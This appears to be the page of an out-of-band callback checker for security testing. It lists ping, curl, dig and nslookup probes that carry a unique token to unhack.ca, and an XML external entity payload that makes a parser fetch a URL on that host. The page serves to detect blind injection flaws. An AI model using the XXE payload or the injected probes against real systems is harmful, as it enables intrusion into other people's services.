$ ping -c1 -p 00498722e7281ae28f4bd21bc0b51500 unhack.ca
 
$ curl http://unhack.ca/p/498722e7281ae28f4bd21bc0b515
 
$ dig 498722e7281ae28f4bd21bc0b515 @unhack.ca
 
$ dig 498722e7281ae28f4bd21bc0b515.ns.unhack.ca
 
C:\> nslookup 498722e7281ae28f4bd21bc0b515 unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/498722e7281ae28f4bd21bc0b515">]>
    <foo>&xxe;</foo>
Waiting for ping...